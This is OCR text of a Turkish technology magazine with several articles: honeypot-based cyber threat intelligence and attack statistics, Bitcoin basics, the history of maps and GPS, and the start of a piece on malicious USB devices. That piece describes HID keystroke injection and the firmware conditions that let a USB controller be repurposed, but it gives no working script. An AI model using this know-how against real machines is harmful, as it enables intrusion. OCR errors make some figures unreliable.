Teknoloji odakli olan bir savasi elbette ki teknolojiyi kulla-
narak bertaraf edebilirsiniz. Siber giivenlik uzmanlarimizin
analizlerine gore lilkemiz sartlarinda ortalama buyuklikteki
bir kuruma aylik olarak 20.000'den fazla siber saldiri yapil-
yor. Bu saldirilarin buylk bir kismi otomatize araglar kullani-
larak gerceklestirilen ve risk seviyesi yliksek olmayan
saldirilar olsa dahi, kurumlarin hassas verileri icin biytk
tehlike arz etmeye ve risk seviyesini ylkseltmeye devam
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Son 30 Giin Icerisinde Tiirkiye’ye Atak Yapan Ulkeler

United Kingdom
France

United States
Netherlands
Canada

China

Germany

Iran

Russia

Italy

Turkey 626076
Turkey 350589
Turkey 256350
Turkey 240745
Turkey 134327
Turkey 125248
Turkey 117695
Turkey 70130

Turkey 45891

Turkey 44454

Yapilan analizlerde saldirilarin biyik bir kisminin dnceden
hacklenmis, zombi haline getirilmis veya ayni ip adresleri
Uzerinden gerceklestirilen saldinlar oldugu gézlemlenmek-
tedir.

Analiz sonuclarina gore, siber tehdit istihbarati kullanarak
bu tip yaygin saldirilar icin merkezi tespitler yapilabilecegi
ve engellenebilecedi ispatlanmistir.

Siber Tehdit istihbarati

istihbarat “kisi, kurum, devletler veya diger organizasyonlar
hakkinda acik veya kapali kaynaklardan haber, dokiiman
veya bilgi toplayip, analiz ve degerlendirmeler esliginde so-
nuca ulasilmasi” manasina gelmektedir.

ingilizce ve Fransizca’ da “intelligence” olarak kullanilan istih-
barat kelimesinin Turkce'deki karsiligi “haber alma” olarak
belirtilmistir. Siber tehdit istihbarati ise, bu degerlendirme-
lerin elektronik ortamlarda yapilarak; bir IP adresinin, sosyal
mihendislik saldinlarinin, kétacdl bir yazilim dagitimi veya
hangi ip adreslerinin saldiri aldigi gibi tespitler ve analizleri
Uzerinden bilgi toplama islemlerinin bitlint olarak tanimla-
nabilir.

istihbarat Nasil Toplanir?

istihbarat faaliyeti gecmisten giiniimiize kadar devletlerin
geleceginde rol oynayan 6nemli faktérlerden biri olarak di-
stintilmus ve uygulanmistir.

Gelecege yonelik yorumlar yapabilmek, muhtemel sorunlar
hakkinda énceden bilgi sahibi olabilmek, ancak ve ancak
saglikli istihbarat Gretimi ile mimkin olabilir.

istihbarat kimi zaman savaslarda, kimi zaman barista, kimi
zaman Ullkemizi korumak icin yapilirken, kimi zaman da
hava tahminleri veya felaketlere karsi dnlem alma nokta-
sinda biyuk bir 5neme sahiptir.

Felaket Tahminlerine Milyonlarca Dolar Aktariliyor!

Bir olayi, saldiriy1 veya felaketi 5nceden bilmek ve etkisini
gostermeden dnlem alabilmek insanlik tarihinin en zor ve
en eski sorunlarindan biri olarak karsimiza gikiyor.
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Hava Tahminleri ve Deprem Arastirmalari

Yer gozlemleri, gemi gozlemleri, yiiksek atmosfer gozlemler,
radar sistemleri, uydu goriintileri ve benzeri bircok veri bir
araya getirilerek gozlemler olusturulur. Elde edilen bu goz-
lemler analiz asamasindan gegcirilerek ortaya hava tahmin-
leri ¢ikartilir. Bilim adamlari; yakin bir gelecekte gozlem ve
analizlere dayanilarak deprem tahminleri yapilabilecegi ve
basarili sonuclar alinarak insanlar biiyik felaketlerden koru-
yabileceklerine inanmaktadirlar.

Felaket durumlarina karsi 6nceden 6n gorebilme yetene-
gine veya basarili tahminlere ulastigimiz zaman felaketlere
karsi dnlemler alabiliriz. Bu sebeple bilim adamlari ve aras-
tirmacilar Deprem tahminleri icin arastirmalar yapmakta ve
bu arastirmalara biylk kaynaklar ayrilmaktadir.

Bir felaketi veya olayi erkenden haber alabilmek arastirma
istihbarat sayesinde mimkudnddr!

Eger bir felaketi dnceden tahmin edebilirseniz sonuglari o
kadar yikici olmayacaktir. Kisacasi felaket gerceklesmeden
once karsi onlemler alabilirsiniz!

Siber Saldirilarin Tahminleri ve Siber Tehdit istihbarati

“Honeypot” yani tuzak sistemler, glinimdz internet diinya-
sinda en sik tercih edilen siber tehdit istihbarati toplama sis-
temleri olarak kullanilmaktadir. GCTI projesi Gizerinde
honeypot sistemlere gelen datalari inceledigimiz zaman
445, Porta gelen saldiri artisi ile gelen tehlike kisa bir siire
icerisinde belirlenmistir. Tuzak sistemler (Honeypot) cesitli
guvenlik aciklarini barindiran servis, isletim sistemi, network
cihazi, iot veya SCADA sistemleri olarak ¢alisarak saldirgan-
larin yontem, arag ve kullandiklari ip/domainleri tespit etme
amacli kullanilmaktadir.

Deprem veya hava tahminlerinde oldugu gibi Siber Tehdit
istihbaratinda da gézlemler yapilmakta ve bilgi toplanarak
basarili tahminler yapilabilmektedir. Bu sayede saldirilar
baslamadan 6nce Honeypot sistemleri Gzerine gelen ataklar
analiz edilir ve saldirganlar hakkinda bilgi toplanir. Toplanan
bu veriler 6zel analiz mekanizmalarindan gegcirilerek saldiri
yapilmadan 6nce giivenlik sistemlerine anlik olarak iletilir ve
onlem alinmasi saglanabilir.
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Russia Turkey 30239

China Turkey 21245

Indonesia Turkey 18560

India Turkey 18353

United States Turkey 18287
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s United States Ifand 16980
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da En Fazls Atak Gercekleser

GCTI Projesi

Bu projedeki siber saldiri sensorleri Glkemizin
farkli lokasyonlarinda oldugu gibi bircok ki-
tada farkli datacenterlar izerinden de bilgi
toplayarak merkezi sunucularinda alarmlar
Uretmektedir. Simdiye kadar 100'den fazla sen-
sorlin dahil edildigi bu projede son 3 ay iceri-
sinde 7 milyonu gecen atak tespit edilmistir.

GCTI (Global Cyber Threat Intelligence) projesi, Tirkiye ve
diinyadaki hosting firmalarinin paydas olarak katildig, siber
istihbarat toplama amach dagitik bir honeypot sistemidir.
Bu sistem acik kaynak kod sistemleri kullanilarak olusturul-
mus ve 6zel olarak dizayn edilerek siber saldirilara karsi
uyari sensorleri ile donatilmistir.

Honeypot (tuzak) sistemler araciligi ile farkh lokasyonlardan
toplanan istihbarat bilgisi merkezi olarak degerlendirilerek
farkli formatlarda sponsor firmalar ve tGlkemizdeki kurum-
larla paylasiimaktadir.

Ayrica bu verileri sosyal sorumluluk projesi kapsamina alina-
rak tlkemizde bu alanda arastirma yapan degerli profesorle-
rimiz ile arastirma gorevlilerine Ucretsiz olarak
sunulmaktadir.

Toplanan bu veriler Gilkemizdeki merkezi sunucularimiza
diinyanin dort bir tarafindan anlik olarak génderilmekte ve
gelen siber saldirilar analiz edilmektedir. 7/24 analizi ger-
ceklestirilen bu saldirilar ile saldiri yapan cihazlarin ip adresi,
lokasyon bilgisi, saldiri tipi, kullanilan parolalar ve kullanici
adlari gibi veriler ortaya ¢ikartilmaktadir. Projede sunulan
APl araciligi ile tehdit kaynaginin belirlenerek tlkemizdeki
kurum ve firmalarla paylasiimasi amaclaniyor.

Dinyanin bir ucunda herhangi bir tehdit olusturan saldir-
ganlarin Glkemizi veya tlkemiz kurumlarini hedeflemeden
Honeypot sensorleri tarafindan tespit edilmesi ve otomatik
olarak engellenmesi basarili sonuglar vermektedir.

Ulkeler artik konvensiyonel silahlarla savasmadan énce karsi
Ulkeleri siber saldirilar ile bertaraf edebiliyorlar. Saldiri yapi-
lan Ulkelerin enerji, finans ve telekom gibi sistemleri devre
disi kalarak hizmet vermez duruma gelmesi an meselesi!

Yerli Giivenlik Coziimleri

7389368

Toplam Yapilan Atak Sayist

264440

Atak Yapan Tekil Ip Adresi Sayis|

Siber saldiri vektorlerinden korunmak icin kullanabilecegi-
niz %100 yerli sermaye ile kurulmus ve Tiirk miihendislerce
gelistirilmis, diinya capinda referanslari olan giivenlik ¢6-
zlimlerin bazilarini asagida bulabilirsiniz.

Sinara Labs

Hedef odakli oltamala similasyonlari yaparak calisanlarini-
zin farkindaligini 6lgmeniz ve farkindalik seviyelerini iyiles-
tirmek icin interaktif, gorsel ve oyun tabanl egitimler ile
gelisim gostermelerini saglarsiniz.

Normshield

Diizenli zafiyet taramasi ve penetrasyon testi yapmaniz igin
kullanabileceginiz sistem. Bilinen acikliklara karsi sistemleri-
nizi tarar ve kesfettigi zafiyetleri bildirir.

Roksit

DNS tabanli firewall ile aginiza bulasan ya da kullanicilarini-
zin ziyaret ettigi siteleri kategorize eder, zararl kategorileri
ve en Onemlisi kaynagi bilinmeyenleri adresleri engeller.

CRI

Siber giivenlik tehditlerini tanimlayabilen ve 6ncelik verebi-
len bir Griindr. isletmelerin giivenlik risklerini tanimlamaya
yardimci olur ve glivenlik Grlnlerinin ve ekiplerin etkinligini
olgmek icin temel bilgiler saglar.

Zemana

Yazarli yazilimlari sezgisel ve imza tabanli analiz eden
bir antilogger ve antimalware ¢ozimudyir.
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idyalilar'in ticareti kolaylas-

tirmak icin M.O. 700’14 yil-

lara tekabul ettigi bilinen

“para”yiicadi, insanoglu

icin oylesine buyuk bir

bulus oldu ki giiniimiiz
(M.S. 2017) de hala ticari islemlerde
para kullaniimaktadir.

O zamandan bu zamana kadar ne gibi
bir degisiklige ugradi diye tarihe soyle
bir g6z attigimizda, ilk paralarin altin,
tung, bakir gibi degerli maden karigim-
lariile olusturuldugunu ve daha sonra
yerini glinimuzde yine altina endeksli
olarak piyasaya strilen “kagit
paralar”in aldigini gozlemlemekteyiz.
Butun degisimlerin ve teknolojik ati-
hmlarin ihtiyaglardan 6tlri ortaya ¢ik-
tigini biliyoruz.

Peki icinde yasadigimiz dliinyadaki ku-
rulu ekonomi sistemi, hepimizin ihti-
yaclarina ne kadar yanit veriyor?
Degisen dlinya Uzerinde is gliclinlin, ti-
caretin karsiligi olan ve politikalardan
olumsuz etkilenmeyen bir para birimi
mevcut mu?

Bu sorulara yanit arayan ilk kisiler biz
degiliz. Diijital diinyada koklu degisim-
lere neden olmus, poptiler “cypher-
punk” (“Sifreci Serseriler”) grubu
tUyelerinden olan “Nick Szabo” ve “Hal
Finney” daha 90'l yillarda bu sorulari
sormus ve “Digital Cash” adi altinda
yeni bir para birimi fikrini tartismislar
ve taslaklarini olusturmuslardi. Ama bu

fikirleri asla faaliyete geciremediler.
2008 yilinda ise mechul bir kisi ya da
grup “Satoshi Nakamoto” adiyla bu fikri
yayinladigi “Bitcoin: Esten-ese Elektro-
nik Nakit Odeme Sistemi” manifestosu
ile duyurmus, 3 Ocak 2009'da hayata
gecirmistir.

Satoshi Nakamoto manifestosunda gi-
nimiiz ekonomisin internetten aligve-
ris icin gUvenilir Gglncl bir taraf
bagimhgindan bahsetmistir ve bu
Ucuncl taraf su an icin finansal kuru-
luslardir. Bu bagimlilik islem maliyetle-
rini arttirabilmekte ve islem
maliyetlerinden 6turd kiiclik miktarlar-
daki islemlere kisit getirmektedir.

@ Bu kisit ve maliyetleri basit 6rneklerle
somutlastirabilirim;

@ EFT dedigimiz islemler; bankalar
arasi transferlerdeki islem Ucretleri,

O Kredi karti ile aligveris islemleri; her-
hangi bir Grlintin nakit ahmlarda daha
uyguna satin alabilecegimizi hepimiz
biliyoruz, ¢linki kredi karti 6demele-
rinde uygulanan komisyon oranlari pa-
zarhk climlelerimize bile yansimistir,
“Nakite ne olur?”

@ Finansal kuruluslarin donlistim oran-
larinda uyguladigi kesintiler; Turistik bir
geziye ¢iktiniz, Euro bolgesindesiniz,
yaninizda binlerce Euro bulundurmak
riskli oldugu icin bir kismini banka he-
sabiniza yatirdiniz ve clizdaninizi tekrar
doldurmak icin ATM ‘den islem yap-

maya gittiginizde bankanizin da mec-
buri olarak uyguladigi islem Ucretleri
sizi Uzliyor ama mecbursunuz, o para-
nin clizdana girmesi lazim. Satoshi Na-
kamoto'nun 2009'da uygulamaya
gecirdigi ve her gecen glin popdilarite-
sini arttiran “Bitcoin”, iclinci taraf fi-
nansal kuruluslar ile saglanan gliven
modelini, dijital para biriminde “kripto-
grafik” kanitlarla saglamaktadir. Ustelik
finansal kuruluslarin yurattiga, geri
dondirilemez, ayni tutar ile ¢ift har-
cama yapilamaz (Ayni 10'TL yi iki farkl
magazada harcayamazsiniz. Yeni bir
10’'luk gerekir.) gibi sorunlari ¢ozerek,
gliniimiz para birimlerinin sundugu
avantajlardan daha fazlasini, daha
distk maliyetlerle ve hicbir limit olma-
dan sunabilmektedir.

10 TL degerindeki Bitcoin'i diinyanin
herhangi bir yerindeki Bitcoin adresine
50 kurus gibi bir maliyetle gonderebil-
mek Bitcoin’in sagladigi avantajlardan
sadece bir tanesi.

Bitcoin'i 6zel kilan bir diger 6zellik de
kriptografik hesaplamalarin ve dijital
zaman damgalarini iceren “block zin-
ciri” (blockchain) alt yapist ile sahte
para basimi gibi yasal olmayan konula-
rin da 6niine gegerek, sahte para kavra-
mini piyasadan kaldiriyor olmasi.

“Kripto Paralar” yazi serimizde “Bitcoin’,
“Block zinciri” kavramlarinin teknik de-

taylarini da ele aliyor olacagiz.
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Eski Diinyada Yol Tarifi

Eski zamanlarda bir nesneye benzeti-
len bir kaya, bir nehir, gél veya bir han;
yuce bir dag, belki anitlasmis yorgun
bir agac, uzaktan gériilen iskenderiye
feneri seyyahlarin gemilerin, kervanla-
rin veya bir ordunun yolunu bulmasi
veya oldugu konumu 6grenmesi igin
yeterli oluyordu.

Kasgarli Mahmud 1072-74 tarihlerinde
Bagdat'ta Divani Lugati't-Turk'iin 22.
ve 23. sayfalarinda yer alan bu renkli
diinya haritasini bu distincelerle ¢iz-
mis olmaliydi. Simdiki standartlarimiza
gore basit bir kroki diyebilecegimiz bu
harita bir Turk tarafindan cizilen ilk
diinya haritasidir. Donemin Turklere ait
cografi bilgilerinde denizler yesil, ir-
maklar mavi, daglar kirmizi ve sehirler
sari renkle gosterilmistir. (Sekil 1)

Kristof Kolomb'un 1492 yilinda Ame-
rika kitasini kesfinden sonra glincellen-
mis haliyle basilan Ptolemaios'un
Geographia adli eserinden alinan bu
diinya haritasini da hi¢ diinyamiza
benzetemeyiz.

Divand Liigati't-Turk'ten yaklasik 450
yil sonra Kaptan-1 Derya Piri Reis 1521
yilinda Akdeniz kiyilarina ait ayrintili bir
harita-kilavuz olan Kitab-1 Bahriye'yi
yazip, 1526'da Kanuni Sultan Suley-
man'a sundu.
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Unlii denizci Kibris adasindan hemen
kuzeyinde yer alan Silifke kiyilarina yol-
culuk edecek kaptanlara yolu sdyle
tarif eder."Eger KIBRIS adasindan Kara-
man kiyilarina gecmek istenirse, Silif-
ke'den itibaren Karaman daglari hep
yuksektir. Dagin bati tarafina, dokiintu-
lerin oldugu yerdeki Ponte Deligase'ye
gelinir. Ak liman kenarlari algaktir.
Cunki buylk daglar uzaktan odyle go-
rindrler"

Gorilecegi gibi yasadiklari donemin
bilgi ve teknik olanaklarina gore cizilen
bu haritalar glinim{zle kiyaslandi-
ginda ¢ocuk elinden ¢ikmis gibi gorin-
mektedir. Kasgarli Mahmud'un
haritasinda mesafeler ve yonler sey-
yahlardan, kervanlardan derlenen bil-
giler ile tahmini cizilirken, Piri Reis'in
cizimlerinin daha gercege yakin olmasi
bu calismalarda cografi bilgiler ve hari-
tacilik tekniklerinde 500 yillik stirede
elde edilen gelismeyi gostermesi aci-
sindan 6nemlidir.

Cografi Kesifler

Bati Ulkelerinde Ronesans ve Reform ile
baslayan bilimsel gelismeler deniz asir
yolculuklari miimkin kilacak dayanikh
gemilerin yapilmasini saglamisti. Bu
gemilerle yola ¢ikan Portekizli kasif
Bartolomeu Dias 1488'de Afrikanin en
giiney ucu Umit Burnu’nu kesfetmis,
italyan asilli ispanyol kasif Kristof Ko-
lomb ise 1492 yilinda Amerika'ya ulas-

Bayram YORUKOGLU

misti. Bilinen cografyanin olaganistu
sekilde biiyimesine yol agmislardi. De-
nizlerde yol alan kaptanlar, yeni diin-
yay1 kesfe cikan gezgin ve bilim
insanlari dogru ve ayrintili haritalara
gereksinim duyuyorlardi. Milattan
hemen sonra haritalarda enlem ve boy-
lam cizgileri belirtilmeye baslanmisti.
Enlem Giines veya bilinen yildizlarin
ufuktan yiksekligi olcilerek kolayca
bulunabiliyordu. Kristof Kolomb 1492
yllinda bu yontemi kullanarak batiya
dogru sabit bir enlem tzerinde yol al-
misti. Ancak o siralarda boylami kesin
olarak hesaplayacak bir yontem bilin-
miyordu. Geminin glinlik kat ettigi yol
tahmininden yola ¢ikilarak boylam bu-
lunmaya calisiliyordu. Cesitli tartisma-
lardan sonra boylami dogru
hesaplayabilecek bir ydntem icin ingil-
tere Boylam Kurulu olusturup 1714 yi-
linda yiksek 6dulli bir yarisma acti.
Boylami bilinen bir yerdeki yerel saat
ile boylami dlcllecek yerdeki yerel saat
arasindaki farktan yararlanmaya karar
veren ingiliz mucit John Harrison bir
dizi saat imal etti. Zamani son derece
hassas 6lcmeye gerektiren bu yontem
icin 1770 yilinda Harrison gliinde en
fazla 1/3 saniye sapan saati H-5 ‘i Boy-
lam Kuruluna teslim etti. Saati ve yon-
temi bizzat tinll kasi Kaptan Cook
denedi. Cook zaman dlcer ile boylam
bulma yontemini ¢ok basarili buldu ve
tavsiye etti.Boylelikle yolculuklar ve ha-
ritacilikta yeni bir ¢cigir aciimis oldu.
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Enlem ve Boylam

Diinya yuzeyi Uzerinde merkezden 1
derecelik acilarla kutup noktalarina pa-
ralel cizilen sanal dairelere enlem
denir. Kuzey ve Gliney kutup noktalari
90 dereceyi, iki kutup noktasinin tam
ortasindaki enlem olan ekvator sifir de-
receyi temsil eder. iki enlem arasi me-
safe sabit ve 111 km'dir. Toplamda 180
adet enlem vardir.

Merkezden 1 derecelik agi araliklariyla
Ekvator'u 90 derece kesen kutup nok-
tasindan kutup noktasina cizilen varsa-
yimsal yarim dairelere boylam
(meridyen) denir. ingiltere’nin Green-
wich Gozlem evinden gegen baslangig
Boylam'i sifir derece, doguya dogru
179 adet, batiya dogru 179 adet, sifir
boylaminin karsisinda180. Boylam
olmak Uizere toplam 360 adet boy-
lam vardir.

Glnes iki boylam arasini 4 daki-
kada, 360 boylami toplamda 24
saat yani bir tam glinde kat

eder.

Boylamin Bulunmasi

Yolculuga gikarken Gre-
enwich Gozlem evin-
deki (GMT +0) saate
gOre saatini ayarlarsi-
niz. Boylelikle seyahati-
niz siresince yaninizda
GMT+0 zamanini yani-
nizda tasimis olursunuz.
Bulundugunuz yerdeki
yerel saati glinese veya
diger gok cisimlerine baka-
rak tespit eder, yaninizda ta-
sidiginiz GMT+0 saati ile
arasindaki farki alirsiniz.

Bu fark size sifir Boylamindan bulun-
dugunuz boylama giinesin seyahat
suresini verir. Glines bir boylam mesa-
fesini 4 dakikada kat ettigine gore
kalan isiniz basit bir matematik hesabi-
dir.

Enlem de ve Boylam cinsinden cografi
konum 2 boyutludur. Yon belirterek 3
farkli formda verilebilir.

Enlem degerinde ekvatora gore Kuzey,
Gliney ve Boylam degerinde Green-
wich’e gore Dogu, Bati yonu belirtilir.

1) Derece, dakika ve saniye (DMS):
41°24'12.2"K 2°10'26.5"D

2) Derece ve ondalik dakika (DMM):
41 24.2028, 2 10.4418

3) Ondalik derece (DD):
41.40338, 2.17403
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Ugiincii Boyut Gokyiizii

Wright kardeslerin 17 Aralik 1903'te
basariyla gerceklestirdikleri ilk insanh
ucusa kadar cografi konumu ifade
etmek icin 2 boyut bilgisi yeterli iken
artik yiksekligi de belirtmek gereki-
yordu. Artik konum 3 boyutlu olmus,
ise gokylizu karismisti. Birinci Diinya
savasl ile birlikte ugaklarin askeri, ticari
ve posta hizmetlerinde kullanimi gide-
rek yayginlasmusti. ikinci diinya savasi
ile birlikte gokyuziinde ucaklara fuze-
lerde katilmisti.

Ucaklarda bir seyir gorevlisi ucagin hi-
zini ve seyir surelerini dikkate alarak
konumu tespit ediyordu. Bilinen yer
sekilleri ile konum teyit edilmeye cali-
stliyordu. Hava seyrinin bir adim ileri-

Sekil 1
sinde ise Nazilerin pilotsuz ugan V2
roketleri ile Londra’yi vurmalari aracin
Jiroskop donatilmasi ile mimkiin ol-
mustu. Jiroskop roketin yon ve hiz de-
gisimlerini 6lcuiyor ve seyrini
yonetiyordu.

ikinci Diinya savasindan sonra Soguk
savas yillarinda askeri operasyonlar
daha bir 6nem kazanmisti. Gelisip hiz-
lanan ucaklar, denizden veya karadan
atilabilen kitalar arasi fiizeler daha has-
sas, daha hizli konum tespit etmeye
yonelik gereksinimler dogurmustu.

Ozellikle Denizaltindan firlatilabilen
mobil flzeler icin konum cok 6nem-
liydi. ilk etapta radyo sinyalleri ile cali-
san baz istasyonlarindan yayin yapan

konumlama siste- mleri kuruldu. Sov-
yetler Birliginin 1957 yilinda ilk yapay
uydu Sputnik’i basariyla yériingeye
oturtmasi ile konum tespitinde uzay-
dan yararlanilabilecegi fikri ortaya
atildi.

ABD savunma bakanhgi 1960’ yillarda
baslayan ve cesitli gelistirme evrelerin-
den gegen 24 uydudan olusan GPS
(Global Positioning System) sistemini
1989 yilinda 24. Uydunun firlatilmasi
ardindan 1994 yilinda tam isler halde
devreye soktu.

1990 ve 1991 yillari arasindaki Kérfez
Savasl, GPS teknolojilerinin yaygin ola-
rak kullanildigi ilk savas olmustur.

Sovyetler Birligi uzayda ilk kuresel ko-
numlama calismalarina 1967 yilinda
baslamistir. Sonradan GLONASS ad1 al-
tinda gelistirilen sistem 1990’ yillarda
Sovyetler Birliginin dagilmasi sebe-
biyle 2001 yilina kadar 7 uyduyla ve
dar bir kapsamda hizmet vermis-
tir.

Rusya Federasyonunun tekrar
toparlanmasi ardindan yeni
yatirimlar ile 2011 yilinda
GLONASS 24 uydu ile k-
resel olarak kapsama ala-
nina erismistir. Su an
GLONASS ABD GPS siste-
minden sonra ikincil ola-
rak tam kapasite
calismaya baslayan kiresel
konumlama sistemidir.

AB’nin 2019 yilinda devreye
alinmasi beklenen 30 uydu ile
cahisacak Galileo, Cin'in an iti-
bari ile kismen calisan toplamda
35 uydusu olacak COMPASS 2020 yi1-
linda tam kapasite ile hizmet vermeye
baslayacaktir.

Ayrica Hindistan tarafindan gelistirilen
IRNSS isimli bélgesel bir konumlan-
dirma sistemi de vardir. ABD kendisine
ait GPS sisteminin sivil kullanimini ge-
rektiginde kapatabilecegini beyan
ederken AB Galileo sisteminin savas
dahil her sart altinda sivillere kesintisiz
hizmet verecegini duyurmustur. Kiire-
sel konumlama sistemleri sahibi ol-
dugu ulkeye askeri Gistinltkler
saglamaktadir. 2011 Mart ayinda basla-
yan Suriye i¢ savasina Rusya GLONASS
ile hedefini bulan silah sistemleri ile
agirhgini koymus, adeta ABD karsi-
sinda tekrar dirilmistir. Uzayda Kiiresel
Konumlama sistemi gelistirmek ve is-
letmek ileri teknoloji, yliksek maliyet
ve bilimsel birikim gerektirmektedir.






Kiiresel Konumlama
Sistemleri Nasil Calisir

hangi bir noktadan en az 4 uydu g6z-
lemlenebilecek sekilde diizenlenmistir.

Kuresel konumlama sistemleri yer is-
tasyonlari, uzayda konuslu uydular-
dan olusan bir ag ve alicilardan
olusan ¢ok karmasik timlesik sis-
temler olmalarina ragmen basit
calisma ilkesine sahiptirler.
Kuresel Konumlandirma kla-
sik 2D enlem boylam koor-
dinat sisteminden farkli
olarak WGS84 olarak
kodlanmis diinya kiiresi- iz &
nin merkez noktasinire- /7~
ferans alan 3D (x,y,2)
Dilinya Jeodezi Siste-
mini kullanir. Diger bir
ifade ile dlinya kiiremiz
varsayimsal WGS84 kii-
resi ile merkez noktalari
cakisacak sekilde ic ice
gecirilmistir.

Sistemin ana govdesi,
icinde milyonlarca yilda bir sa-
niyeden daha az hata yapan
atom saatleri barindiran WGS84
sanal kiiresinin dis ceperinde (yer
merkezinden yaklasik 26.000 km yiik-
seklikteki yoriingede) dolasan uydu-
lardir. Sistemdeki tim uydularin
saatleri birbirleriye uyumlu cahsirlar.
Uydu yoriingeleri yer tzerindeki her-
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Uydularin her biri tim diger uydular ile
senkronize ¢alisan kendi saat bilgile-
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rini, tim uydularin konumlarini ve alici-
larin kendi konumlarini hesaplarken
yararlanacadi bilgileri kendi uydu kod-
lari ile birlikte stirekli radyo sinyali tize-
rinden yayinlarlar. Uydu kodlarinin
kullanilmasi alicilarin her uydunun ya-
yinini ayirt etmesini saglar.

Uydular yer istasyonlari sayesinde
yonetilirler, izlenirler ve belli ara-
liklarla konumlama parametre-
leri glincellenirler. GPS
sinyalleri agik alanda saglikli
alinirlar. Binalarin arasinda,
yer altinda, sik ormanlarda,
engellerde bozulurlar.

Alicilar ve Konum Belirleme

Kiresel Konumlandirma 2
temel matematik kavrami Gze-
rinde calisir.

Ilki G¢ Bolgeleme (Trilateration)
denen merkez noktasi GPS uydu-
sunun konumu, yaricap! GPS uy-
dusu ile alici arasindaki mesafe olan
bir kuire cizmektir. Bu islem sinyali ali-

nan her uydu icin tekrarlanir.

ikincisi ise alici ile uydu arasindaki me-
safenin bulunmasidir. Gercekte alicinin
GPS uydusu ile arasindaki mesafeyi bi-
lebilmesi mimkiin degildir.



Alici her uydudan kendisine ulasan sin-
yalin yolculuk siiresini i1sik hizi ile car-
parak aradaki mesafeyi bulur. Isigin hizi
boslukta 299.792.458 m/s'dir.

Mesafe = Hiz x Yolculuk Siiresi

3 uydu konum tespiti icin yeterliyse de
4 uydu hem givenirligi arttirir hem de
yuksekligin de 6grenilmesine olanak
verir.

Sinyalin uydudan aliciya ortalama 0,06
saniye kadar kisa bir stirede ulastigi
g6z 6niline alinirsa sistemin basit olma-
sina ragmen ¢ok hassas oldugunu da
eklemek gerekir. En ufak hata konum
tespitinde kilometrelerce hataya sebep
olur.

WGS84 kuresi varsayimsal olusturul-
dugu icin eksiksiz, mikemmel bir kire-
dir. Konum tespitinin bilimsel
uygulamalarda birka¢ milimetre hassa-
siyete kadar varmasi bize mavi diinya-
mizin sekli kusurlarini gérmemizi,
ilging sirlarini 8grenmemizi saglar.

Akdeniz su seviyesinin Hint Okyanusu
su seviyesinden 180 daha yuksek oldu-
gunu GPS sayesinde 6grenebiliyoruz.

Hint Okyanusu altindaki kiitle yogun-
lugunun yliksek olmasi yercekiminin
daha glicli olmasini sagliyor.

Kutle ¢cekiminin diinya ylzeyinin her
yerinde homojen olmadigi bilinmesine
ragmen GPS sayesinde deniz altindaki
gizli bolgeleri de bdylelikle kesfedebili-
yoruz.

Kiiresel Konumlama Sisteminin kulla-
nim alanlari hayal glciinizle sinirhdir.

Askeri amaclarla ortaya atilan sistemin
navigasyon, deprem arastirmalari,
arama-kurtarma, haritacilik, tapu ka-
dastro, ugus guivenligi, deniz su seviye-
lerinin izlenmesi,yaban hayatindaki
g0¢ yollarinin tespiti gibi sayilamaya-
cak kadar sivil ve bilimsel kullanim

&0
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180 150

ekvator

alanivardir. 11 Mart 2011 yilinda Ja-
ponya da meydana gelen 9 siddetin-
deki deprem sonucunda diinya
ekseninin 15 santim, koskoca Japonya
adasinin kuzey doguya dogru 2,4
metre kaydigini GPS sayesinde 6grene-
biliyoruz.

Zamanini kestiremedigimiz, adini bil-
medigimiz bir seyyahin yol tarifi sor-

masiyla baslayan yon ve konum bulma
arayisimiz bizi GPS teknolojisine kadar
getirdi. Oniimizdeki birkac on yil iceri-
sinde yapay zeka ile donatiimis yolcu-
luk edebilen her tirli otonom
makinalarin daha hizli cevap verebilen
ve milimetre hassasiyetinde konum
belirleyebilen sistemlere ihtiyaci ola-
caktir. GPS maceramiz daha bitmedi.
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Son 7 yildir aktif olarak kullanimda olan, siber saldirilarin fiziksel erisim boliimle-
rinde aktif olarak kullanilan “Kotiiciil USB” adini verdigimiz cihazlar temelde insan
etkilesimli aygitlarin kiiciik boyutlu versiyonlaridir.

on 7 yildir aktif olarak kul-
lanimda olan, siber saldiri-
larin fiziksel erigim
bolumlerinde aktif olarak
kullanilan “Kottcil USB”
adini verdigimiz cihazlar temelde insan
etkilesimli aygitlarin kiguk boyutlu
versiyonlaridir. Kullanmig oldugumuz
klavye, fare gibi aygitlar bu sinifin iceri-
sine girmektedir. Bu kiiciik arkadaslar
fiziksel tuslarn eksikligini saymazsak
her tiirli 6zelligi eksiksiz tizerlerinde
barindirmaktadirlar.

Kotiicll USB’ler genel olarak 2 yol ile
kendini klavye olarak tanitmakta ve et-
kilesime girdigi cihaza bellegi lizerinde
kayith olan sirali tus komutlarini yolla-
yarak amacini gerceklestirmektedir.

Burada bahsettigimiz kotticuller klav-
yeyi taklit edip zarar verenler. Klavye
taklidinin yani sira ag kartini aldatabi-
len, boot seviyesinde cihaza zararh
yikleyebilen tirler de bulunmaktadir.

Ornegin USB Rubber Ducky icin hazir-
lanmis yandaki script kodu, Windows
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baslat menusu yoluyla notepad.exe'yi
calistirmakta ve acilan not defterine
“Hello World! I'm in your PC!" yazmakta-
dir. Ag kartini taklit eden saldiri proje-
lerinden birine ait detaylari senaryo
kisminda bulabilirsiniz.

1.YOL

Kullanmis oldugumuz USB bellekler te-
melde 2 ayri bélimden olugsmaktadir.
“USB Controller” (islemci ve ényiikleyici
bu bolimde yer alir) ve “Flash”(Kontrol-
cliye ait yazilimin bulundugu kisim ve
son kullanicinin erisimine acik olan de-
polama alani bu bélimde yer alir). Eli-
mizde bulunan bellegin yazilim
glincellemelerine karsi imza tabanli bir
korumasi yoksa, var olan yazilmin disa-
ridan giincelleme alma 6zelligi bulunu-
yorsa ve kontrolcimuziin HID 6zelligi
bulunuyorsa bellegimiz kotiiclil amag-
larla kullanilabilir diyebiliriz. HID
(Human Interface Device), kullandigi-
miz cihazla aramizdaki iletisimi bu etki-
lesim sagladigimiz arkadaslar
Ustleniyor. Unutmamamiz gereken bir

nokta var. Bu yol ile sadece USB bellek-
ler degil, web kamerasi yahut kullandi-
gimiz klavyeler ya da SATA adaptorleri
kotucil amaglar dogrultusunda kulla-
nilabilir. Bildiginiz tGzere bahsettigim
bu cihazlarda da ayni sekilde bir kont-
rolcii ve donanim yazilimi bulunmakta.
Anlattigimiz bu temel yol asagida oku-
yacaginiz Gizere donanima ait yazilimin
modifiye edilmesine dayaniyor. Eger
donanima ait yazilim degistirilebili-
yorsa ve kuglk “zararsiz” payloadlarimiz
icin bellekte yer varsa degisim mim-
kin olabilir diyebiliriz.

